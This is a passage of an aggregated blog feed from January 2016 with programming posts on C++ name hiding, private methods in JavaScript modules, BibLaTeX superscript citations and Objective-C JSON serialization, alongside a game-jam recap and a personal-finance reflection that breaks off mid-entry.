&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;clang++&lt;/code&gt; (version 3.7.0) is more helpful for beginners:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;foo.cc:16:5: error: too few arguments to function call, expected 1, have 0;
      did you mean 'A::a'?
  b.a();
    ^
    A::a
foo.cc:4:8: note: 'A::a' declared here
  void a() {}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What is going on here? This is a classical case of &lt;em&gt;name hiding&lt;/em&gt;. Since
class &lt;code&gt;B&lt;/code&gt; does not contain an &lt;em&gt;override&lt;/em&gt; for &lt;code&gt;A::a()&lt;/code&gt;, this function is
hidden by the compiler. In § 10.2, the C++ standard meticulously
tells you that the “lookup set” that is used to, well, &lt;em&gt;look
up&lt;/em&gt; names is filled by the &lt;em&gt;derived class&lt;/em&gt; first. § 10.2.5
explicitly states that base classes are only ever visited if the lookup
set is empty—which is clearly not the case here.&lt;/p&gt;
&lt;p&gt;We can fix this in multiple ways:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;We could add &lt;code&gt;using A::a;&lt;/code&gt; in the body of &lt;code&gt;B&lt;/code&gt;. Thus, we explicitly
signal the compiler that we want this name to be included.&lt;/li&gt;
&lt;li&gt;We could provide the proper scope when calling &lt;code&gt;a()&lt;/code&gt; by writing
&lt;code&gt;b.A::a();&lt;/code&gt; instead of &lt;code&gt;b.a()&lt;/code&gt;. Yes, that &lt;em&gt;is&lt;/em&gt; horrible, but it
actually works.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Of course, the real question is why the designers of C++ thought that
this behaviour is useful. From a technical point of view, visiting base
class to look up further names is a trivial matter. However, I would
firmly argue that this does &lt;em&gt;not&lt;/em&gt; make any sense. The addition of
&lt;code&gt;B::a(int)&lt;/code&gt; was a deliberate act made by the programmer. For me, this
signifies that the programmer wants to change the interface of the
class. If the programmer wants to keep the interface of &lt;code&gt;A&lt;/code&gt; as well,
this should warrant additional work, such as the &lt;code&gt;using&lt;/code&gt; declaration.&lt;/p&gt;
&lt;p&gt;Furthermore, this behaviour makes sense because it prevents ambiguities
in the inheritance process (which I just realized sounded a lot
like something a lawyer would say!). Suppose, we had a function
&lt;code&gt;A::a(float)&lt;/code&gt; and a function &lt;code&gt;B::a(double)&lt;/code&gt;. If &lt;code&gt;A::a(float)&lt;/code&gt; was not
hidden by default in &lt;code&gt;B&lt;/code&gt;, we would call the base class function when
calling &lt;code&gt;b.a(0.f)&lt;/code&gt;, even though a &lt;code&gt;float&lt;/code&gt; can be promoted to a &lt;code&gt;double&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The real fun with these ambiguities would start when a &lt;code&gt;0&lt;/code&gt; is used
instead of a &lt;code&gt;nullptr&lt;/code&gt; in C++11—since a function with an integral
parameter will always be a better match than a function taking a pointer
parameter, this would result in agonizing, hard-to-trace bugs…&lt;/p&gt;
&lt;p&gt;So, in short: &lt;em&gt;Name hiding. It’s there for a reason.&lt;/em&gt;&lt;/p&gt;</description><author>Ecce Homology on Bastian Grossenbacher Rieck's personal homepage</author><pubDate>Sun, 31 Jan 2016 17:50:29 GMT</pubDate><guid isPermaLink="true">https://bastian.rieck.me/blog/2016/name_hiding_cxx/</guid></item><item><title>Private methods for JS classes</title><link>https://qubyte.codes/blog/private-methods-for-js-classes</link><description>&lt;p&gt;This is a short companion to an
&lt;a href="/blog/private-data-for-js-classes-with-weakmap"&gt;earlier article I wrote&lt;/a&gt; on using &lt;code&gt;WeakMap&lt;/code&gt; for
private data with JS classes. While private data belongs to instances, private methods can be shared
between instances of a class (just like its regular methods). An implementation using ES2015 modules
looks like:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;&lt;span class="hljs-keyword"&gt;function&lt;/span&gt; &lt;span class="hljs-title function_"&gt;setContent&lt;/span&gt;(&lt;span class="hljs-params"&gt;content&lt;/span&gt;) {
  &lt;span class="hljs-keyword"&gt;const&lt;/span&gt; text = &lt;span class="hljs-variable language_"&gt;document&lt;/span&gt;.&lt;span class="hljs-title function_"&gt;createTextNode&lt;/span&gt;(content);

  &lt;span class="hljs-variable language_"&gt;this&lt;/span&gt;.&lt;span class="hljs-property"&gt;el&lt;/span&gt;.&lt;span class="hljs-title function_"&gt;appendChild&lt;/span&gt;(text);
}

&lt;span class="hljs-keyword"&gt;export&lt;/span&gt; &lt;span class="hljs-keyword"&gt;default&lt;/span&gt; &lt;span class="hljs-keyword"&gt;class&lt;/span&gt; &lt;span class="hljs-title class_"&gt;Paragraph&lt;/span&gt; {
  &lt;span class="hljs-title function_"&gt;constructor&lt;/span&gt;(&lt;span class="hljs-params"&gt;content&lt;/span&gt;) {
    &lt;span class="hljs-variable language_"&gt;this&lt;/span&gt;.&lt;span class="hljs-property"&gt;el&lt;/span&gt; = &lt;span class="hljs-variable language_"&gt;document&lt;/span&gt;.&lt;span class="hljs-title function_"&gt;createElement&lt;/span&gt;(&lt;span class="hljs-string"&gt;&amp;#x27;p&amp;#x27;&lt;/span&gt;);

    setContent.&lt;span class="hljs-title function_"&gt;call&lt;/span&gt;(&lt;span class="hljs-variable language_"&gt;this&lt;/span&gt;, content);
  }

  &lt;span class="hljs-title function_"&gt;replace&lt;/span&gt;(&lt;span class="hljs-params"&gt;content&lt;/span&gt;) {
    &lt;span class="hljs-variable language_"&gt;this&lt;/span&gt;.&lt;span class="hljs-property"&gt;el&lt;/span&gt;.&lt;span class="hljs-property"&gt;innerHTML&lt;/span&gt; = &lt;span class="hljs-string"&gt;&amp;#x27;&amp;#x27;&lt;/span&gt;;

    setContent.&lt;span class="hljs-title function_"&gt;call&lt;/span&gt;(&lt;span class="hljs-variable language_"&gt;this&lt;/span&gt;, content);
  }
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This module exports a class which wraps a paragraph element (which is not a particularly useful
thing to do, but hopefully illustrates what I'm about to say).&lt;/p&gt;
&lt;p&gt;Each instance of &lt;code&gt;Paragraph&lt;/code&gt; is constructed with some content. The one public method it has is
&lt;code&gt;replace&lt;/code&gt;, which allows the content to be replaced. Both the &lt;code&gt;constructor&lt;/code&gt; and the &lt;code&gt;replace&lt;/code&gt; methods
set content, so rather than repeat the code that does that, the code is placed in the private method
&lt;code&gt;setContent&lt;/code&gt;. &lt;code&gt;setContent&lt;/code&gt; operates on a &lt;code&gt;Paragraph&lt;/code&gt; instance passed in as the context by using
&lt;code&gt;call&lt;/code&gt;. You could just as easily pass the instance in by using a parameter. I've chosen the former
approach here to keep the difference between public and private methods to the minimum.&lt;/p&gt;
&lt;p&gt;By virtue of the &lt;code&gt;setContent&lt;/code&gt; method being declared outside of the class declaration, the class does
not make it available. You control which things you export from the module, so if the class doesn't
make &lt;code&gt;replace&lt;/code&gt; available, and the module doesn't export it, then nothing outside the module has
access. Thus &lt;code&gt;setContent&lt;/code&gt; is a private method.&lt;/p&gt;
&lt;p&gt;For clarity, &lt;code&gt;replace&lt;/code&gt; being public means that I can do this:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;&lt;span class="hljs-keyword"&gt;var&lt;/span&gt; paragraph = &lt;span class="hljs-keyword"&gt;new&lt;/span&gt; &lt;span class="hljs-title class_"&gt;Paragraph&lt;/span&gt;(&lt;span class="hljs-string"&gt;&amp;#x27;hello&amp;#x27;&lt;/span&gt;);

&lt;span class="hljs-comment"&gt;// replace is pubic, so we can use it.&lt;/span&gt;
paragraph.&lt;span class="hljs-title function_"&gt;replace&lt;/span&gt;(&lt;span class="hljs-string"&gt;&amp;#x27;goodbye&amp;#x27;&lt;/span&gt;);
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And &lt;code&gt;setContent&lt;/code&gt; being private means that I cannot do this:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;&lt;span class="hljs-keyword"&gt;var&lt;/span&gt; paragraph = &lt;span class="hljs-keyword"&gt;new&lt;/span&gt; &lt;span class="hljs-title class_"&gt;Paragraph&lt;/span&gt;(&lt;span class="hljs-string"&gt;&amp;#x27;hello&amp;#x27;&lt;/span&gt;);

&lt;span class="hljs-comment"&gt;// setContent is not a part of the Paragraph&lt;/span&gt;
&lt;span class="hljs-comment"&gt;// definition. We cannot do this.&lt;/span&gt;
paragraph.&lt;span class="hljs-title function_"&gt;setContent&lt;/span&gt;(&lt;span class="hljs-string"&gt;&amp;#x27;goodbye&amp;#x27;&lt;/span&gt;);
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;So there you have it. There's not a lot to the pattern really. Earlier module types and patterns
allow the same thing to be done. I recommend reading the &lt;a href="https://addyosmani.com/resources/essentialjsdesignpatterns/book/#modulepatternjavascript"&gt;section on module patterns&lt;/a&gt;
in Addy Osmani's excellent book &lt;em&gt;Learning JavaScript Design Patterns&lt;/em&gt; if you want to know more (and
particularly the sub section on the &lt;em&gt;module pattern&lt;/em&gt;).&lt;/p&gt;</description><author>Qubyte Codes</author><pubDate>Sun, 31 Jan 2016 04:00:00 GMT</pubDate><guid isPermaLink="true">https://qubyte.codes/blog/private-methods-for-js-classes</guid></item><item><title>Global Game Jam 2016</title><link>https://www.swilliams.io/w/global-game-jam-2016</link><description>&lt;p&gt;At the University of Southampton Global Game Jam 2016 event, I helped develop an isometric real time strategy town management game where you must balance
    resource management with your relationship to the gods. I joined a team which participated last year and used a game engine that was developed in last years
    game jam. The finished product was called Vikings vs Gods: Cheese fortress and was overall a quite good game, though a little lacking in high fidelity
    graphics.&lt;/p&gt;
&lt;figure&gt;
    &lt;img src="vikingsVsGodsScreenshot.png" href="vikingsVsGodsScreenshot.png" alt="Screenshot from Vikings vs Gods: Cheese Fortress."
        style="height:250px;width:500px;"&gt;
    &lt;figcaption&gt;Screenshot from Vikings vs Gods: Cheese Fortress&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;It the 48 hours which spanned the jam, I helped develop the basic quests and gods outline and tried to overall polish the game through adding unique mouse
    cursor, splash/intro screen, win screen, death screen, as well as fixing some issues that were left over from when the game engine was used last year.&lt;/p&gt;
&lt;h2&gt;See also&lt;/h2&gt;
&lt;ul&gt;
    &lt;li&gt;&lt;a name="fn-1" href="https://globalgamejam.org/2016/games/vikings-vs-gods-cheese-fortress"&gt;Link to the Global Game Jam page.&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a name="fn-2" href="https://github.com/mikejewell/cheesefortress"&gt;Link to the Github repository.&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description><author>SWilliams.io</author><pubDate>Sun, 31 Jan 2016 03:01:01 GMT</pubDate><guid isPermaLink="true">https://www.swilliams.io/w/global-game-jam-2016</guid></item><item><title>Installing Linux Mint on an XPS13 (9350)</title><link>https://thomashunter.name/posts/2016-01-31-installing-linux-mint-on-an-xps13-9350</link><author>Thomas Hunter II</author><pubDate>Sun, 31 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://thomashunter.name/posts/2016-01-31-installing-linux-mint-on-an-xps13-9350</guid></item><item><title>What We Can't Control</title><link>https://solomon.io/what-we-cant-control/</link><description>We know that we can’t control the outcomes of sporting events or elections. Then why do we become so emotional over what we can’t control?</description><author>Sam Solomon</author><pubDate>Sun, 31 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/what-we-cant-control/</guid></item><item><title>Janathon 2016 #30</title><link>https://rjp.is/blogging/posts/janathon-2016-30-2/</link><description>A (hard) small (tiring) jaunt (hilly) around a country park.
With an excellent goody bag&amp;hellip;
[Winter Cakeathon 2016]</description><author>infrequent oscillations</author><pubDate>Sat, 30 Jan 2016 23:04:32 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/janathon-2016-30-2/</guid></item><item><title>Porting MicroBus to DotNetCore</title><link>https://daniellittle.dev/porting-microbus-to-dotnetcore</link><description>When the new .net core reached RC it looked like the perfect time to start to port some of the Nuget packages I've made starting with…</description><author>Daniel Little Dev</author><pubDate>Sat, 30 Jan 2016 15:28:04 GMT</pubDate><guid isPermaLink="true">https://daniellittle.dev/porting-microbus-to-dotnetcore</guid></item><item><title>5 Core Principles of Bug Free UI</title><link>https://adamcraven.com/writing/core-principles-of-bug-free-ui/</link><description>Core UI principles that transcend frameworks and provide stability in a rapidly changing world of software engineering</description><author>Writing on Adam Craven</author><pubDate>Sat, 30 Jan 2016 04:57:09 GMT</pubDate><guid isPermaLink="true">https://adamcraven.com/writing/core-principles-of-bug-free-ui/</guid></item><item><title>Code Kata</title><link>https://june.kim/code-kata/</link><author>june.kim</author><pubDate>Sat, 30 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/code-kata/</guid></item><item><title>Janathon 2016 #29</title><link>https://rjp.is/blogging/posts/janathon-2016-29-2/</link><description>First bike ride of 2016.
Obviously I got lost even though it was almost a straight line between Peckham and St. Pancras.
But at least now I have some cycle miles for the year.
[A jaunt on a Brompy]</description><author>infrequent oscillations</author><pubDate>Fri, 29 Jan 2016 21:21:08 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/janathon-2016-29-2/</guid></item><item><title>Improved superscript citations for BibLaTeX</title><link>https://bastian.rieck.me/blog/2016/biblatex_superscript_citations/</link><description>&lt;p&gt;I am big fan of Nature-style citations—they are rather unobtrusive
and make using a citation as a noun impossible. For example the
following sentence is fine:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Previously, Adams &lt;sup&gt;[42]&lt;/sup&gt; showed the importance of always carrying a towel.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Now watch what happens when I try to use the citation in place of noun:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Previously, &lt;sup&gt;[42]&lt;/sup&gt; showed the importance of always carrying
a towel.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Looks stupid, doesn’t it? And indeed it should because using
a citation key as a noun is rather bad form in my opinion. If you share
my opinion and want to use this sort of citation style when using LaTeX,
let me spare you some hours of “productive
procrastination” (which is the time I should spent writing or
doing research, but end up doing something else that is somewhat related
to my thesis) and show you how I obtained beautiful Nature-style
citations with BibLaTeX.&lt;/p&gt;
&lt;p&gt;First, let’s load BibLaTeX with the required options:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-tex"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;\usepackage&lt;/span&gt;[&lt;span class="c"&gt;%
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  autocite    = superscript,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  backend     = bibtex,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  sortcites   = true,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  style       = numeric,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  ]&lt;span class="nb"&gt;{&lt;/span&gt;biblatex&lt;span class="nb"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This tells BibLaTeX to use &lt;em&gt;superscript&lt;/em&gt; citations by default when using
&lt;code&gt;\autocite&lt;/code&gt;. The &lt;code&gt;numeric&lt;/code&gt; style is required in order to ensure that
superscripts are typeset. In your LaTeX file, you may now use&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-tex"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Previously, Adams~&lt;span class="k"&gt;\autocite&lt;/span&gt;&lt;span class="nb"&gt;{&lt;/span&gt;Adams42&lt;span class="nb"&gt;}&lt;/span&gt; showed the importance of always
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;carrying a towel.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The &lt;code&gt;\autocite&lt;/code&gt; command is my best friend when using BibLaTeX. Not only
can it be easily style by changing the setting in the preamble, it also
is smart in the sense that it detects surrounding punctuation correctly
and will place the actual citation properly, depending on your language
settings. This is great.&lt;/p&gt;
&lt;p&gt;However, when we typeset the example above, we get something along the
lines of:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Previously, Adams &lt;sup&gt;42&lt;/sup&gt; showed the importance of always
carrying a towel.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Close, but not cigar. I want brackets to surround the citation.
Furthermore, if you use &lt;em&gt;postnotes&lt;/em&gt; like me, they will not be shown. In
other words, if you like to write&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-tex"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Previously, Adams~&lt;span class="k"&gt;\autocite&lt;/span&gt;&lt;span class="na"&gt;[\ppno~41--42]&lt;/span&gt;&lt;span class="nb"&gt;{&lt;/span&gt;Adams42&lt;span class="nb"&gt;}&lt;/span&gt; showed the importance
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;of always carrying a towel.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;in order to add additional information about page numbers to your
citation, you will be sorely disappointed. The additional information,
which is the &lt;em&gt;postnote&lt;/em&gt; in LaTeX jargon, simply will not show up. To fix
this, we need to redefine the superscript citation of BibLaTeX:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-tex"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;\DeclareCiteCommand&lt;/span&gt;&lt;span class="nb"&gt;{&lt;/span&gt;&lt;span class="k"&gt;\supercite&lt;/span&gt;&lt;span class="nb"&gt;}&lt;/span&gt;[&lt;span class="k"&gt;\mkbibsuperscript&lt;/span&gt;]&lt;span class="nb"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="k"&gt;\iffieldundef&lt;/span&gt;&lt;span class="nb"&gt;{&lt;/span&gt;prenote&lt;span class="nb"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="nb"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="nb"&gt;{&lt;/span&gt;&lt;span class="k"&gt;\BibliographyWarning&lt;/span&gt;&lt;span class="nb"&gt;{&lt;/span&gt;Ignoring prenote argument&lt;span class="nb"&gt;}}&lt;/span&gt;&lt;span class="c"&gt;%
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="k"&gt;\iffieldundef&lt;/span&gt;&lt;span class="nb"&gt;{&lt;/span&gt;postnote&lt;span class="nb"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="nb"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="nb"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="nb"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="nb"&gt;{&lt;/span&gt;&lt;span class="k"&gt;\bibopenbracket&lt;/span&gt;&lt;span class="c"&gt;%
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;   &lt;span class="k"&gt;\usebibmacro&lt;/span&gt;&lt;span class="nb"&gt;{&lt;/span&gt;citeindex&lt;span class="nb"&gt;}&lt;/span&gt;&lt;span class="c"&gt;%
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;   &lt;span class="k"&gt;\usebibmacro&lt;/span&gt;&lt;span class="nb"&gt;{&lt;/span&gt;cite&lt;span class="nb"&gt;}&lt;/span&gt;&lt;span class="c"&gt;%
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;   &lt;span class="k"&gt;\usebibmacro&lt;/span&gt;&lt;span class="nb"&gt;{&lt;/span&gt;postnote&lt;span class="nb"&gt;}&lt;/span&gt;&lt;span class="c"&gt;%
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;   &lt;span class="k"&gt;\bibclosebracket&lt;/span&gt;&lt;span class="nb"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="nb"&gt;{&lt;/span&gt;&lt;span class="k"&gt;\supercitedelim&lt;/span&gt;&lt;span class="nb"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="nb"&gt;{}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;In case you wonder, this is the original code for &lt;code&gt;\supercite&lt;/code&gt; with some
modifications for the &lt;em&gt;postnote&lt;/em&gt;. The placement of &lt;code&gt;%&lt;/code&gt; signs is
critical, by the way. Else, additional whitespace will be introduced to
the macro. If you use it like this, the citation should now look the
way we want it to look:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Previously, Adams &lt;sup&gt;[42, pp. 41–42]&lt;/sup&gt; showed the importance of always
carrying a towel.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;And now we may marvel at our LaTeX documents and care about the less
important stuff, such as—in my case—actually producing some
content.&lt;/p&gt;
&lt;p&gt;By the way, if you care about typography as much as I do, you may want
to check out the &lt;a href="https://designschool.canva.com/blog/typography-terms"&gt;illustrated glossary of typographic
terms&lt;/a&gt; that the
nice folks at &lt;a href="https://www.canva.com"&gt;Canva&lt;/a&gt; compiled for you.&lt;/p&gt;</description><author>Ecce Homology on Bastian Grossenbacher Rieck's personal homepage</author><pubDate>Fri, 29 Jan 2016 20:17:13 GMT</pubDate><guid isPermaLink="true">https://bastian.rieck.me/blog/2016/biblatex_superscript_citations/</guid></item><item><title>Serializing to JSON on iOS</title><link>https://xenodium.com/serializing-to-json-on-ios</link><description>&lt;pre&gt;&lt;code class="language-objc"&gt;NSDictionary *dictionary = @{
  @&amp;quot;key1&amp;quot; : @&amp;quot;val1\n&amp;quot;,
  @&amp;quot;key2&amp;quot; : @&amp;quot;val2\n&amp;quot;,
  @&amp;quot;key3&amp;quot; : @&amp;quot;val3\n&amp;quot;,
  @&amp;quot;key4&amp;quot; : @&amp;quot;val4\n&amp;quot;,
  @&amp;quot;key5&amp;quot; : @&amp;quot;val5\n&amp;quot;,
  @&amp;quot;key6&amp;quot; : @&amp;quot;val6\n&amp;quot;,
};
NSError *error;
NSData *jsonData =
    [NSJSONSerialization dataWithJSONObject:dictionary options:0 error:&amp;amp;error];
if (error) {
  // noooooooooo!
}
NSString *json =
    [[NSString alloc] initWithData:jsonData encoding:NSUTF8StringEncoding];
&lt;/code&gt;&lt;/pre&gt;</description><author>xenodium.com @alvaro</author><pubDate>Fri, 29 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/serializing-to-json-on-ios</guid></item><item><title>Thoughts on Money from 2013</title><link>https://josh.works/thoughts-on-money-from-2013</link><description>&lt;p&gt;I was looking through some draft posts I have lying around, and found one from the middle of 2013. That’s 2.5 years ago. Reading over it, I feel satisfaction for a few reasons:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Old Josh (from July 2013) wasn’t a train wreck. As soon as I think about myself in highschool and college, I usually cringe thinking about the way I acted/thought. I don’t feel complete shame thinking about 2013 Josh.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;The goals I had in 2013 have pretty much all happened. We didn’t have much knowledge over our finances then, but we do now. (I discovered
&lt;a href="http://www.youneedabudget.com/learn/guide/learn-to-prioritize"&gt;YNAB&lt;/a&gt;, which completely transformed our relationship with our money)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;This affirms my suspicion that
lots of small steps taken over a long time can make good things happen. &lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I’ve been reading and thinking a lot about money over the last two years. I’ll compile a recommended reading list here soon, but the cool thing is this: I
enjoymanaging our finances. I’m no longer embarrassed or shamed by them. &lt;/p&gt;

&lt;p&gt;And if we got to that place in 2.5 years, I think most people can. Here’s what I wrote then:&lt;/p&gt;

&lt;h2 id="joshs-thoughts-on-finances"&gt;Josh’s thoughts on finances&lt;/h2&gt;
&lt;p&gt;circa July 2013&lt;/p&gt;

&lt;dl&gt;
  &lt;dt&gt;[&lt;/dt&gt;
  &lt;dt&gt;&lt;strong&gt;2016 Josh notes&lt;/strong&gt;&lt;/dt&gt;
  &lt;dd&gt;I’ve included commentary in-line with what I wrote then.  It is all called out like this.]&lt;/dd&gt;
  &lt;dt&gt;I write this July 27th, 2013, and I don’t know when I will publish it.&lt;/dt&gt;
  &lt;dt&gt;&lt;strong&gt;[2016 Josh notes&lt;/strong&gt;&lt;/dt&gt;
  &lt;dd&gt;Perhaps in January, 2016]&lt;/dd&gt;
  &lt;dt&gt;Currently, I have no plans of publishing this within six months, but eventually I hope this post meets the internet. Money scares me. Having it is scary, but losing it is even worse. Kristi and I have been married for 13 months, and we have alternated between me being the sole income-earner (on less than $30,000 a year, in one of the most expensive cities in America) to us&lt;/dt&gt;
  &lt;dt&gt;both working (she’s a kindergarten teacher in PG county - not lucrative, but way more money than zero dollars) to&lt;/dt&gt;
  &lt;dt&gt;Kristi being the sole income-earner (I got fired). [&lt;/dt&gt;
  &lt;dt&gt;&lt;strong&gt;2016 Josh notes&lt;/strong&gt;&lt;/dt&gt;
  &lt;dd&gt;I could write extensively about being fired, but right now I’ll summarize it as
the best work-thing that has ever happened to me. It was an opportunity for enormous growth.]&lt;/dd&gt;
&lt;/dl&gt;

&lt;p&gt;I was able to get unemployment (through the business, not the government) but it was still stressful. It was almost six months before I got another full-time job, earning about $34,000 a year.)&lt;/p&gt;

&lt;dl&gt;
  &lt;dt&gt;Then, we both were working, and it was great! I could know exactly how much was deposited in our bank account every two weeks. Our lifestyle inflated, and we found ourselves spending more. Or, rather, &lt;/dt&gt;
  &lt;dt&gt;Ifound us spending more. I’m in charge of managing our finances, and sometimes it sucks. [&lt;/dt&gt;
  &lt;dt&gt;&lt;strong&gt;2016 Josh notes&lt;/strong&gt;&lt;/dt&gt;
  &lt;dd&gt;It sucked because I did not know how much we spent, and was not able to know if we were generally improving our financial position, treading water, or losing ground.]&lt;/dd&gt;
&lt;/dl&gt;

&lt;p&gt;During the summer, Kristi’s not receiving a paycheck, so we’re temporarily back down to one income. But we’re used to spending like we had two incomes. A few large expenses have come through (a few plane tickets, an
awesome family vacation with 15 extended family members, but it was a half-block from Rehoboth Beach, and cost what you would expect - a lot)&lt;/p&gt;

&lt;dl&gt;
  &lt;dt&gt;So, right now, I’ve dipped into our savings to cover our expenses. There’s nothing wrong here - we knew she was not going to be earning money over the summer. [&lt;/dt&gt;
  &lt;dt&gt;&lt;strong&gt;2016 Josh notes&lt;/strong&gt;&lt;/dt&gt;
  &lt;dd&gt;Partial lie. We
thoughtshe was going to be paid over the summer, but turns out PGCO bobbled the paperwork. We “knew” this when her paychecks stopped in April.] &lt;/dd&gt;
  &lt;dt&gt;I still have this inexplicable sense of discomfort, because I don’t know some pretty basic details of our own spending. I’m embarrassed even as I write this. Income in per month (easy to know) compared to spending per month - also fairly easy, but the afore-mentioned big-ticket items have drastically skewed our “average spending”. [&lt;/dt&gt;
  &lt;dt&gt;&lt;strong&gt;2016 Josh notes&lt;/strong&gt;&lt;/dt&gt;
  &lt;dd&gt;We knew our expenses
retroactively, I.E I could look at a credit card statement, but we never had
planned our expenses, or managed our spending based on goals or expenses. Yikes.]&lt;/dd&gt;
&lt;/dl&gt;

&lt;p&gt;I’m looking forward to living on just one income, and saving half of our take-home. This is a huge milestone. The steps, as they look right now, are these:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Identify current income/expense ratio&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Identify low-hanging fruit to reduce expenses&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Reduce said expenses&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Repeat step two, until we’re unwilling to further reduce expenses&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Boost income without inflating lifestyle, so all extra income can go into savings.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And, well, that’s my plan.&lt;/p&gt;

&lt;p&gt;[
&lt;strong&gt;2016 Josh notes:&lt;/strong&gt;
